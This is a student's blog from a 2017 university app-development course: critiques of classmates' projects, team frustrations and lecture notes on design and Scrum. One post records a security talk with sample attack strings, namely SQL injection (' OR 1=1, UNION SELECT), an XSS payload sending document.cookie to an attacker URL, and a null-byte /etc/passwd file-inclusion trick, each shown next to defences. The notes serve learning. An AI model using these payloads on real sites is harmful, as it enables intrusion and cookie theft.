Thursday, 9 November 2017
On Monday, I got to see all the wonderful stuff my classmates have been building.
As I cannot remember the presentations in exact order, I will go with what my memory churns out.
The first presentation was by Pawsome. Actually I have been visiting their site a few times some time ago. I was devastated that I could not log in. Even during the presentation itself I could not log in. I forgot if they said it was in production already or not.
The site is super pretty in my opinion. I love all the graphics.
However, I found it unwieldy to have the action menu come out from the bottom. This is because I use the site from my laptop. On the phone, this would have been super intuitive.
Next, we have a delivery app + admin system for a food business company: Wu Li Hao Pte Ltd. Although there was not much focus on the aesthetics, I like the features of the system. The delivery app is a mobile app, to be used by the deliverymen, while the admin system is a Desktop app (which connects to a central server of course) which coordinates / assigns the deliveries. There are even sophisticated features like generating invoices and assigning vehicles. The mobile app also exists in two languages. While these could be requirements from the company, it is great that the team managed to produce these in such a short amount of time.
I cannot remember who came immediately after Wu Li Hao Pte Ltd, but I remember there was Pair. It is essentially matchmaking for your friends. So our friends might not want to swipe people's faces due to all sorts of reasons, embarrassment, laziness, etc., so as their bros and sistas we swipe for them and jio them into this app. It is a mobile app. I like the graphics (: it is really cute, but unfortunately I could not find the app on Play Store even though they said it's up? The demo had a bug but that's just a small thing. I would wanna sign up, if they make the app accessible. I have many single and eligible friends around.
Afterwards, there was HunQRy, but regretfully, I remember the least about this team. It could be because I was trying to fix my project's new API at that time. So I can't say anything about this.
The presentation which made me a bit upset was NUS Attend. I could not even access the landing page at first (too laggy), and afterwards when I managed to load the page after x times, I could not sign in to IVLE because (too laggy). Perhaps the app should not load ALL the data from IVLE, or do it asynchronously, so that users won't be seeing the tab spinner for eternity. In the end, I never managed to log in and have my attendance taken. So there goes my attendance points... ): However, I really like the data processing features (to CSV and stuff) but I thought there could be more. I guess IVLE is being a real pain.
Before us, SGI Path Finder went up to present. Jovin was thankful that they helped us introduce SGInnovate to the class (so that he does not need to do it :P). I thought that the team came up with sufficient stuff for only starting work for about 2 weeks. The higher-ups kept rejecting their idea, and actually I do not really understand why. I thought they just had to do a closed social network between start-up founders and investors. So I could not comprehend or empathize why they could not pull through the approval phase..., I don't really understand what the higher-ups are thinking. Would be nice if we could find out more.
Anyway, on to the UI, I did not like the background image, because it was so blur I had no idea what it was. And as said by the TAs, the main column in the centre containing all the data is too skinny. But that is a small problem. What was more problematic to me was that the navigation menu on the left was barely visible to me, and I did not know I could scroll through the data column with the navigation menu. I liked the annotation feature though, but the feature could have been more prominent, either with a description at the top of the page to encourage annotation, or make the icon bigger. Okay, more like I had no idea what the icon meant. It was either a pen icon or a speech bubble icon, but I had no idea what it meant. The pen icon would have insinuated "Edit", which is definitely not the case. In any case, I could not remember the exact icon used.
Then it was us. I refused to come up because I felt that whatever I said would be uninformative. So I concentrated on trying to fix my new API (I ended up fixing it only the day after).
I remember Timeliss presented... before SGI Path Finder? I cannot remember. The site had a very nice hue, but I did not copy down the URL so I cannot test it... there was a Q&A on detecting when somebody passes on. One possible solution is to work with the official announcers and get their information (e.g. hospitals, newspapers, etc.). I can't say much about this project, I was probably zoning out because I don't want to think about death yet..., or maybe, "Let come what comes".
Last but not least, we had the cryptocurrency farmers. They propagated the rigs and their boss is probably earning x times their salary with every second. Again, I could not remember much even though this was the last team that presented. Maybe I should have taken notes.
0 comments | Leave a comment
Tuesday, 10 October 2017
It has been a month since I last posted. It did not come to my mind until recently that I could still blog even though there were no lectures. I would still want to blog about what I learnt in my past assignments in separate blog posts. But for today, I want to share about web application vulnerabilities and how to safeguard against such exploits.
Today, we were lucky to have NUS GreyHats (I think one of them is called Yuxi...) to come down to our lecture and tell us more about vulnerabilities that are prevalent in crappy web applications. It was a slight pity that my "senior" Nikolas was not there >< he has been and will always be the Security God in my eyes.
The first vulnerability they pointed out, was, of course, SQL injection. Everyone loves data, after all. Prior to this lecture, my understanding of SQL injection was simply: People just escape your database query string because you sanitize nothing and you let them insert their database commands (either extracting truckloads of sensitive data or letting tables drop dead and so on). What I did not learn last time was the UNION SELECT SQL injection. And my guess is that there are more creative ways to do this.
# 01 Simple SQL injection
# Execute malicious SQL statements in app
# Because of poorly filtered strings
# In user login:
SELECT * FROM users WHERE user = ''
SELECT * FROM users WHERE user = '' OR 1=1 # '
# 02 Union SQL injection
# Blind SQL injection, automate pen-testing with sqlmap
# Need to do enumeration to find the correct number of columns, column names, and table names
# Prepared statements will get the system to check if the values are valid (type and weirdness)
# In a search bar:
SELECT title FROM movies WHERE title LIKE '%title%'
SELECT title FROM movies WHERE title LIKE '%title'%' UNION SELECT 1,2,3 # (number of columns)
I have been using ORMs, which have been dealing with these behind my back, and so my first experience with this is when I was trying to write a Telegram bot that communicates with the sqlite3 database with just the Python sqlite3 library.
Next, GreyHats delved into command injection, which is a rather interesting exploit. This is because I have helped my team in writing an application that does scp (I believe it means secure copy), and it never sat right with us. But isn't it strange to have an app offer such (intimate) functionality?
Well, in my case, neither the project lead nor I want to write a secure upload endpoint (or anything more halal than shell commands) due to the purpose and scale of the project. The only user is the club secretary who does not know such exploits, and have no interests in such events that can destroy his workflow.
After SQL and shell commands, we have cross-site scripting (XSS). The method involves embedding the attacker's endpoint in HTML elements and having the victim activate it with a click or similar interaction.
# 04 XSS
# Two types: Reflected and stored
# Reflected: Query strings are reflected on the URL (address bar) so users can just update the URL
# So give victims this URL: blahblah/<img src="attacker" + document.cookie>
# Stored: POST request
# Hide an iframe which sends document.cookie to attacker
# Don't let user anyhow type data
# Use HTTPOnly cookie flag: Cookie cannot be accessed via client side script
# Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.id
# Auto-escape template system
# XSS response header filter
The blahblah/... syntax is a bit wonky, but the gist is that the "attacker" URL will be evaluated due to being referenced as an img src. On the attacker's server, he will receive a request with the cookie appended to the path. This type of XSS is the reflected type and occurs when the method is GET.
Ways to safeguard against such cookie theft are listed above. One recurring advice was to not give users too much freedom / control over the app, so that they behave according to the original use cases.
But then again, I am starting to not like cookies... still wrapping my head around authentication methods.
After all the injections, which are sometimes not so straightforward, we get this:
# 05 Insecure Direct Object References (DOR)
# When web app provide direct access to object
# Edit HTTP request before sending it out (Tamper Data)
# Example: Order tickets, but the ticket_price is inside the HTTP request data... let's edit it.
# Validate user input, don't give users excess access
I am just so flabbergasted that this should even exist. Although I did not realise this, I have never done this (I might later though, if I skipped this class). The reason is because this is just bad design. Users only need to see the price and choose the correct item. They don't need extra privileges.
The following vulnerability is something I dealt with in CS2107.
# 06 Directory Traversal Attacks (dot dot slash attack)
# Do chroot jail: Copy everything non-sensitive into the jailed environment for users to roam
# Do normalised absolute paths and validate input
But CS2107 never really taught us how to prevent this (or even if they did...). As far as I know, my apps are usually (not always, because frameworks can have vulnerabilities too) safe because Nginx sets the app root as the root, and in the web server, the routes are like a "white list" of locations the users can roam about.
The jailed environment thing was something new to me. It is like a fake VM right (Is container a better word instead? I don't know if Docker does this...). But I forgot to ask if this should be used in conjunction with web servers and web frameworks, or just either is enough.
# 07 Local File Inclusion
# Let attacker execute remote files
# Change the file name in the URL or form to /etc/passwd
# If app searches for /etc/passwd.php by appending ".php", just end the URL with null byte
# Don't pass raw input to file system
This vulnerability sounds relevant to cloud storage systems, because that is where users manage a remote file system, but may "accidentally" get to peek into more files if the operator is careless. As mentioned before, the web server is likely to have blocked such absurd amount of access (e.g. /etc/passwd).
# 08 CSRF
# Tricks victim into submitting malicious input that harms the victim (self-inflicted lol)
# Don't use GET to change password because attacker can give the URL containing his favourite password
# And you click it and you update your own password to HIS password
# Must hide in iframe because will redirect
# Check headers to verify origin
# Check CSRF token (hidden field)
# But XSS can retrieve this hidden field
It is again emphasised that we should care for HTTP methods, not just because it makes sense (that's what I thought). I am starting to get confused between this and XSS, except the solutions are different. From the notes above, it seems being vulnerable to XSS means being vulnerable to CSRF too. But in my case, I have a static site that contains a contact form. The form is connected to a remote API endpoint. As there are no credentials involved, the allow origin header and a captcha are sufficient to prevent script kiddies from spamming/spoofing my endpoint.
Last but not least, we have open redirect. Once loaded, you dead.
# 09 Open Redirect
# Attacker controls redirect from proper to improper site
# Don't allow users to state redirect URLs
Because these demonstrations were in a rather artificial environment (e.g. opening HTML files in browsers), I still have not learnt an inch about the art of pen testing (centimetre yes). I would be typing ../ in the address bars and so on, but I would not be able to insert my redirect/embedded URLs into other people's apps. Or can I...?
P.S. Happy 21st, Shermaine!
0 comments | Leave a comment
Tuesday, 5 September 2017
I was assigned to critique Airfrov (Group 9).
A. Summary of what the presenting team said about the application that you think is most important. Focus on three points and explain why you feel that they are the most important points.
B. What are your thoughts?
The three points most important to me are: the "bad", suggested improvements, and key learning points (iow, what they learnt from their research on Airfrov).
The presenting team first gave an introduction to what Airfrov does. Airfrov is a web platform for non-travellers to purchase items available exclusively overseas from travellers who are, or are going overseas and can purchase those items in-person.
The team then moved on to "the bad". There were three main "bad" features of Airfrov, according to the team. The main criticism was on the appearance (UI) of the app.
Firstly, there seems to be too much information on the website's home page. The introduction to Airfrov's purpose and benefits for users clutter the page with loads of text. To better illustrate the clutter, I have a screenshot below:
Secondly, the team claims that there is too much white background / space. An example of excess white background / space could be the following screenshot:
Last but not least, the presenting team criticized the choice of colours (pale and unattractive) for the website on the basis that it is essentially an e-commerce / marketplace platform and ought to follow the established e-commerce platforms like Amazon, which use flashy colours.
The presenting team then suggested improvements for the app. There were three improvements mentioned. Firstly, the bullet point was "more abstraction needed from users' POV". It means users should be given a more simplified UI (less text, for example). This improvement targets the first "bad".
Secondly, the presenting team felt that the platform should have social features that encourage customer and traveller interaction. An example of such a feature could be instant chat/messaging on the platform.
Last but not least, the presenting team suggested improving the UI for the "price offer" (not sure of the exact phrase) pages, as they have shown that the pages were uninformative, with only a single button to enter the amount to offer for the potential product in question.
Finally, the presenting team mentioned some key learning points discovered during their research on Airfrov. The only learning point which I recall and can put into words is this: The team observed that there are people who want to earn extra keep, and there are people who are willing to pay high prices for items that are exclusively overseas, and these lead to a large profit margin, part of which Airfrov can benefit from.
Thanks to the presenting team, I managed to learn about such an interesting business idea and how technology plays (yet another) big role in it (:
My thoughts will be broken down into two parts, the UIUX critique and the feature request critique. I will talk about my thoughts about the presenting team's points, and add in my own points and other observations.
Firstly, I cannot agree with the presenting team's critique on the UIUX (the "bad"). First, the landing page was cluttered with the introduction and seemingly irrelevant content (irrelevant to purchasing) because the user was not signed in. This could mean the user is a first-time user (like me), and he/she needs to read on to see if Airfrov is the right platform for him/her. What AirFrov could have done is to make sure the white text stand out more, as the white text is the definition of Airfrov. Screenshot below:
The screenshot looks like it has captured the white text in the picture very well. But in reality, it is a carousel that rotates. The last two carousel image and description refer to more advanced features like "I WANT THIS TOO" and secure payment. I feel that those two carousel images would not have played any part (i) convincing new users to join, (ii) alert current users of such cool features, as users would have scrolled down before the carousel reaches the last two alerts. Users generally scroll up and down.
Furthermore, I felt that having "excess" white background / space is not the problem. The problem would be more of alignment. In the example screenshot above for the Post Request form, the page has already fulfilled its purpose as a form. There are placeholders to guide the user along the form. However, it seems weird that the form is aligned to the left, and directly below the icon on the left. It could be a design choice. But the form looks good on mobile, except...
The portrait screenshot is a screenshot on my Samsung phone, while the landscape screenshot is a screenshot on my laptop (same as the one above, but reproduced here for ease of reference). On my phone, there is no way I am going to know what that pencil icon by itself can do (it collapses the form section). In my opinion, I prefer a collapsible that is more visibly marked (like a solid rectangle, for example, this), so that I know where to click, where to tap.
Last but not least, I felt that choice of colours was not something to criticize. (Screenshot reproduced below for ease of reference)
It does not have to be a flashy colour that stings our eyes. What I felt could improve the seeming "plainness" or "whiteness" could be just changing the border to one with a darker shade or shadow and clearly define a boundary between each product card. Below is a simple experiment to darken the box-shadow. The original opacity was 0.2, and I max-ed it up to 1.
We can see the difference between the product cards and the categories card on the left (which I did not edit). But oh well, this could be just a matter of preference and taste. A light box-shadow will look as if the image literally got slapped on top of a white canvas without clear borders. Someone in the comments section may beg to differ.
Now for the features part. I agree with the presenting team's argument on text clutter, even though I feel that the landing page should still have some sort of introduction for the not signed-in users. But then again, it could be because I am the only lazy person who refuses to read the information (after being spoon-fed with lots of analyses by the presenting team). Personally, I hate the carousel for the not signed-in users. It not only confuses me, but also distracts me (I end up not reading the text properly). A two-column or two-row banner would help emphasize the duality of this app (catering to both "peer buyers" and "peer sellers").
My memory is slowly fading away, and I remember less and less about Airfrov. I shall sign off now. I hope to hear your comments on my critique, and perhaps correct me if my memory has already failed me. Thank you.
9 comments | Leave a comment
Friday, 1 September 2017
I have been under a lot of stress lately. I have two research modules on top of CS3216. In addition to that, I have a couple of non-academic commitments which I am unable to let go yet. In NUS Hackers, I respond to my juniors if they need any advice with organizing hackerschool. In Computing Club, I need to maintain the Computing Club websites, and more recently, the Elections. I am inside the Elections committee, and there were some hiccups in the Elections due to the committee's inexperience.
But that's not all. My team mates in CS3216 are relatively inexperienced. So I took the initiative to maintain the technology stack from server to back-end (excluding database schema). I also maintain the version control and review PRs. I also update my team mates regularly on what I have done and what I am going to do. For the first two weeks, I am the only active contributor. I ping my team mates once every 2 or 3 days.
Progress was slow, and I have no idea why. Someone was sick, that is OK. Someone had meetings, that is not really OK..., because I skip mine for CS3216, but nevermind. Someone remained quiet, and was able to sleep in peace at 10.30 PM (I cannot fall asleep in peace until I am knocked out).
Now came the third week. I was initially promised that those handling the front-end will give me a Vue.js front-end. No Vue in sight. Instead, a HTML5 UP theme was inserted into our stack. I continued to connect the controller actions to Blade, Eloquent, Facebook. It is as though the first two weeks did not exist for some of my team mates. Well, that is fine..., as long as the page is not as bare as my own sample Blade files. (FYI: The sample Blade files are to help my team mates know what data can be fetched from the controller.)
Today I received a PR. When I first saw the diff, of course, a CSS class with camel-case and two hyphens instead of one is going to trigger my convention-o-meter. And so I asked my team mate about it in the WhatsApp group. I then went back to further review the PR. There was one breaking change and one instance of untidy indentation.
Whether CS3216 cares about code quality does not diminish the fundamental discipline of writing good code. If we seem to have "no time" for that, it simply means we ought to have spent "more time", even if it means sleeping later than 10.30 PM.
I was told to not be "nitty picky" by the PR author even though she is trying to submit programs that are prone to human error, and wants me to "merge" it because we have "no time" (original phrase was "at this stage"). She told me to change those violations myself if I am "so particular". Moreover, she claims that my argument "has [nothing] to do with discipline" just because I (the back-end person) am not going to use it. I told her that our other team mate who is going to work on front-end is likely to have problems. She changed subject and told me to go help the others.
In a normal week, I allocate 2 days to lessons, 1 day to deal with tutorials and labs, 2 days to research, and 2 days + x number of additional hours to CS3216. The 2 to 3 days for CS3216 this week have ended. I will be unable to help those team mates until Monday night.
I am feeling more stress than needed. This is so unfair. What is wrong with trying to protect my other team mates from bad code? And those changes are not even difficult to do.
4 comments | Leave a comment
Tuesday, 29 August 2017
This week, we had Prof Damith and TA Su Yuen for our lesson. Prof Damith taught us how we can prepare for our presentations next week (the app seminar), while TA Su Yuen taught us what to consider when building our product.
Prof Damith mentioned a couple of acronyms. PUMA, WIIFY, and so on. However, the only things I can remember right now are do-believe-know, WIIFY, benefits instead of features, and finishing strong. Prof Damith used Apple's product launches as a case study. The launches often involve telling the users what they can do with Apple's products (watch videos for long hours, for example), instead of overly technical descriptions that are measured by bits or bytes. I guess this means that people are unable to translate the features into benefits in such a short time.
For do-believe-know, Prof Damith mentioned lectures as an example of "know". It is thus crucial that our presentations motivate people to do something about the apps we are presenting. Doing that would also catch the audience's attention, as they will need to listen to know what to do.
Finally, the most important point of Prof Damith's presentation, in my opinion, is WIIFY. I always switch off when I feel like there's "nothing in it for me", so I understand how important it is to hang that bait in front of the audience.
The only problem is, the only reason why people should listen to us in the app seminar would be the 1/9 chance of them having to critique us.
TA Su Yuen discussed about things to consider when designing an app, and, of course, how important designing is. She proposed several versions of mock-ups, which I think is agreeable. However, I feel that designing in digital form is really not my cup of tea. Plus I will end up spending more time learning about the prototyping software itself too. I usually stop and move on to programming after drawing a few versions of pen and paper designs.
Su Yuen also discussed about empathizing with the user. Her talk really came in too late. Would have been nice if she came to speak on our very first lesson. All these design thinking skills, we always "learn" and then forget to put them to real practice.
In my opinion, the most important thing I learnt from Su Yuen today was the number 3. The maximum of 3 things to do per screen. I was using oBike phone app (without unlocking anything of course) for the very first time today. There were so many tiny buttons that do pretty important things. There was a "!" button that was for reporting faulty bikes. However, "!" also means "info". And that was just the beginning of some huge confusion with the oBike UI...
I look forward to building minimalistic but powerful apps in this module.
3 comments | Leave a comment
Monday, 21 August 2017
Principles of Software Engineering (Colin)
The main takeaways: Design is very important, no need to use fabulous frameworks, start everything early and stay early, learn to prioritize, users are (almost) king. Most of what Colin said was a refresher to me because it is really high-level understanding. Really eager to hear something more specific and technical. E.g. Walking us through the process of designing a specific type of (simple) app or API as a case study. Or conduct a comparison or evaluation between frameworks or libraries with similar goals.
Breakdown of roles
ArchitectureColin says we need one person in-charge to coordinate the input of the other team members (e.g. technical proficiency).
ProgrammingThis is a very small part of software engineering. As the projects in CS3216 are non-trivial (must be production-ready), we should not jump into programming right away. We should first design and plan our application. This reduces the number of times we create breaking and expensive changes along the way.
DocumentationColin also emphasizes the importance of documentation. We are not likely to remember what we have programmed some time ago.
FeaturesIt does not matter what your technology stack is. Create something which solves somebody's current needs (more people if possible, for a user base and potential business model). We must empathize with our target audience.
Graphic AssetsDesigners should consider expanding their skill set beyond Photoshop. For example, Illustrator.
DocumentationNon-programmers should still be familiar with the product and be able to write user guides at the minimum.
SalesConducting sales and branding will not only help increase and diversify user base where possible, but also curate more customer feedback and experiencing general responses.
Two non-programming roles
Designer and/or marketingA person who plans the brand and design of the app is essential in bringing in users and feedback from the perspective of a potential user.
LeaderThe leader is in charge of dividing the work, follow-up with every assignee, and conduct user testing on the product.
Different software development life cycle (SLDC)
The waterfall modelStep 1: Requirements analysis (produces a requirements document book)
The business analysts will gather all the needs and requirements from their clients and document their findings and possible designs.
Step 2: Design
Based on the requirements, plan the system architecture and tools to use.
Step 3: Coding
The plan in Step 2 is implemented. User tests are implemented here as well. The code base is rectified accordingly.
Step 4: Testing
This is where the user acceptance testing (UAT) happens. The client will test the product and provide feedback. If the client is unhappy with our product, we will not get paid. The vendors (which is us) will then return to Step 3 to work on the client's feedback.
Step 5: Maintenance
Produce any other relevant programs, scripts, or documentation which aid maintenance.
After a few years, the product becomes obsolete, and the whole cycle repeats.
Disadvantages of the waterfall modelThe only constant is change. The client might have changed his requirements, or insisted that we got his requirements wrong (perhaps we were really wrong). Within our "company", the waterfall model causes us to suffer from late integration and late testing because we do complex things one-by-one, and there is a lot of idleness.
Agile processThe agile process consists of stage-by-stage development, ranked by importance. The more important and core features are implemented first. With each iteration, more features are added. However, every iteration produces at least an MVP.
The agile process is an extremely rapid switch between the stages of the waterfall model, except that the amount of requirements, design, and code increment gradually.
This process is not just rushing. It teaches us to prioritize features while remaining flexible to changes.
Disadvantages of the agile processThis process might not be thorough and thus not fast enough to create highly scalable applications as there is a lot of communication involved between people in the team. I.e. Agile is very difficult to execute in a very large organization where there are a lot of communication barriers (many people in between).
Guidelines for our assignments
- Big dream
- But rank the features
- Look at your team (make use of their proficiency)
- Look at the clock
Designing an app
We need to decompose the app into several components.This reduces complexity, as we may not understand immediately how to solve the problem, but we can make use of abstractions.
We also need to divide the work, and use each other's code just by knowing the interface or specification.
Typical levels of decomposition
- Sub-systems (e.g. a system of micro-services communicating with each other)
- Layered hierarchy (e.g. inheritance, module imports)
Modules should not make assumptions about other modules. Some ways to maintain low coupling include no global variables, no mode variables to change the behavior of the method.
Colin emphasizes the need to validate the produce live constantly. In my experience, deployment can be a pain (different server, different environment, etc.). This causes me to look through all sorts of error logs ranging from bash, Nginx to the web framework itself.
Colin pointed out that the change of the model is very likely to cause breaking changes on the controller and view.
Database schema design
In NoSQL, there are no relationships. This means the tables are de-normalized (add redundant copies of data since there are no relationships). For non-trivial applications, the redundancy is significant and confusing, disorganized.
Resist feature bloat
We can rank the features, but keep the core feature ranking at the top consistently. This ensures we actually complete the core features. The "new" features may be helpful, but they should still be ranked below.
Consider a separate alpha deployment. Ensure nothing breaks.
Respond to user feedback
Respond selectively. If no other users care about this feature, perhaps we should implement the other more important features.
Backup user data
User data is priceless. If time permits, we should take a look at one-step restoration methods (in addition to AWS snapshots) like Ansible.
Start with pen and paper
While prototyping tools create beautiful and professional mock-ups, we might get distracted by learning the prototyping tool itself (i.e. where to change this part, that part, etc.).
Hi I'm Chris and I'm here to talk about Scrum (Chris)
Chris clarified some of doubts regarding product owner. I had the misconception that both the product owner and the scrum master are the leaders of the team. The backlog concept is new to me, but I cannot appreciate such overly-elaborate planning. I can at most look forward by 1 or 2 releases, not a whole product backlog. My previous company does weekly Scrum but without organizing sprints. Maybe that was why I got blocked for way too damn long. And... a sprint of 3 days sounds inhumane to me. I prefer having all 5 working days and grabbing stuff over from the next sprint if need be. Feelings do not matter, but they still affect us.
Roles in Scrum
Decides what will be included in each of the releases. Somewhat like a client and more of a requirements person.
Ensures progress and does the communications to meet the product owner's expectations. Could be part of the team as a developer or designer. Somewhat like a project manager.
Developers and designers who also play a part in the design and features. They are the main implementer the actual product.
Epic (or user story)
As a (role), I want (feature), so that I can (benefit). From this statement, you know who wants this feature. You have a name for this feature, and finally, you know that this feature has a purpose.
A list of features and what ought to be inside for all versions, including future ones. Rank features by must-have (high), nice-to-have (medium), bells and whistles (low). Release backlog is for past and current releases.
Estimate the time taken for each feature and put them into sprints.
3 days to 1 week. The frequent checkpoints ensure progress is made and resolve blocked tasks as a team.
Daily scrum: Stand up meeting (15 minutes)
At the start of the day, everyone answers 3 questions: What I have done last week, where am I blocked at or need help with, what do I plan to do this week. This is what I did at my previous company. The meeting usually lasts for 30 minutes because there are more than 10 people.
1 comments | Leave a comment
Monday, 14 August 2017
I hope to learn:
- Making something really useful and sufficiently complete, unlike my personal side projects
- Experience the whole process of design and implementation
- How to engineer a product in a team, instead of doing it alone
- Different perspectives from people about UIUX
- Discipline in creating quality products
- More about various frameworks and libraries, and the philosophies behind them
- More about Facebook API design and usage, never managed to understand such APIs (including Google's) back then
- To find and correctly implement or debug programs based on the answers from the internet